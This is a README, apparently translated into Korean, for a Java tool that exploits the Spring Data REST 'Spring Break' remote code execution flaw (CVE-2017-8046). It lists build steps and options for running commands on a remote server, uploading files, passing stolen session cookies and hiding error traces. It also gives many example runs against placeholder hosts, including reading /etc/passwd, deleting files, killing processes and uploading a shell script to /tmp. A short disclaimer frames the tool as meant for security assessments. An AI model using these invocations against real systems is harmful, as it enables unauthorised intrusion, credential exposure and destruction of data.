
Spring Break 취약점(CVE-2017-8046)을 악용하는 Java 프로그램입니다.
이것은 Spring Break 취약점(CVE-2017-8046)을 악용하는 Java 프로그램입니다.
이 소프트웨어는 가능한 한 외부 종속성을 최소화하도록 작성되었습니다.
이 도구는 보안 엔지니어와 앱시큐리티 담당자가 보안 평가를 수행할 수 있도록 제작되었습니다. 이 도구를 책임감 있게 사용하시기 바랍니다. 누구든 이 애플리케이션을 사용하는 방식에 대해 저는 책임을 지지 않습니다. 이 도구를 사용하여 발생한 손해나 저지른 범죄에 대해 저는 책임이 없습니다.
익스플로잇을 실행하는 데 사용할 수 있는, 모든 종속성을 포함한 실행 가능한 JAR을 생성하려면 다음 단계를 따르십시오.
다음 Maven 명령을 실행할 수 있습니다:
mvn clean compile package
다음 단계를 수행할 수 있습니다:
Run As > Run Configurations로 이동합니다;Java Application을 마우스 오른쪽 버튼으로 클릭한 다음 New를 클릭합니다;com.afs.exploit.spring.SpringBreakCve20178046으로 설정합니다;Apply 버튼을 클릭합니다;Export...를 클릭합니다;Runnable JAR file(Java 브랜치 아래)을 찾아 선택합니다;Launch configuration을 선택합니다;Export destination을 선택합니다;Extract required libraries into generated JAR 옵션을 선택합니다;Finish 버튼을 클릭합니다.Usage:
java -jar spring-break_cve-2017-8046.jar [options]
Description:
Exploiting 'Spring Break' Remote Code Execution (CVE-2017-8046).
Options:
-h, --help
Prints this help and exits.
-u, --url [target_URL]
The target URL where the exploit will be performed.
You have to choose an existent resource.
-cmd, --command [command_to_execute]
The command that will be executed on the remote machine.
-U, --upload [file_to_upload]
File to upload to the remote machine. Will be uploaded to the current working
directory of the java process. Warning: this will only succeed on a server running
JRE-1.7 or later.
--remote-upload-directory [/some/existing/path/]
Optional. Server will attempt to write the uploaded file to this directory on the
filesystem. Specified directory must exist and be writeable.
--cookies [cookies]
Optional. Cookies passed into the request, e.g. authentication cookies.
-H, --header [custom_header]
Optional. Custom header passed into the request, e.g. authorization header.
-k
Skip SSL validation
--clean
Optional. Removes error messages in output due to the usage of the
exploit. It could hide error messages if the request fails for other reasons.
--error-stream
Optional. In case of errors the command will fail and the error stream will
not be returned. This option can be used to relaunch the remote command
returning the error stream.
-v, --verbose
Optional. Increase verbosity.
java -jar spring-break_cve-2017-8046.jar --url "https://vuln01.foo.com/api/v1/entity/123" --command ipconfig
java -jar spring-break_cve-2017-8046.jar --url "https://vuln02.foo.com/api/v2/entity/42" --command ipconfig --cookies "JSESSIONID=qwerty0123456789"
java -jar spring-break_cve-2017-8046.jar -v --url "https://vuln02.foo.com/api/v2/entity/42" --upload file.sh --remote-upload-directory /tmp
java -jar spring-break_cve-2017-8046.jar --url "https://vuln03.foo.com/asd/api/v1/entity/1" --command dir --cookies "JSESSIONID=qwerty0123456789;foo=bar"
java -jar spring-break_cve-2017-8046.jar --url "https://vuln04.foo.com/asd/api/v1/entity/1" --command "dir C:\Windows" --clean
java -jar spring-break_cve-2017-8046.jar --url "https://vuln05.foo.com/asd/api/v1/entity/1" --command "copy /b NUL ..\..\pwned.txt" --clean
java -jar spring-break_cve-2017-8046.jar --url "https://vuln06.foo.com/asd/api/v1/entity/1" --command "ping -c 3 www.google.it" --clean
java -jar spring-break_cve-2017-8046.jar --url "https://vuln07.foo.com/asd/api/v1/entity/1" --command "ps aux" --clean
java -jar spring-break_cve-2017-8046.jar --url "https://vuln08.foo.com/asd/api/v1/entity/1" --command "uname -a" --clean
java -jar spring-break_cve-2017-8046.jar --url "https://vuln09.foo.com/asd/api/v1/entity/1" --command "ls -l" --clean
java -jar spring-break_cve-2017-8046.jar --url "https://vuln10.foo.com/asd/api/v1/entity/1" --command "wget https://www.google.com" --clean
java -jar spring-break_cve-2017-8046.jar --url "https://vuln11.foo.com/asd/api/v1/entity/1" --command "rm index.html" --clean
java -jar spring-break_cve-2017-8046.jar --url "https://vuln12.foo.com/asd/api/v1/entity/1" --command "cat /etc/passwd" --clean
java -jar spring-break_cve-2017-8046.jar --url "https://vuln13.foo.com/asd/api/v1/entity/1" --command "kill -9 5638" --clean
참조된 리소스/URL은 반드시 존재해야 한다는 점에 유의하십시오!
취약한 애플리케이션은 여기에서 찾을 수 있습니다.
이 프로젝트는 Apache License 버전 2.0에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE.txt 파일을 참조하십시오.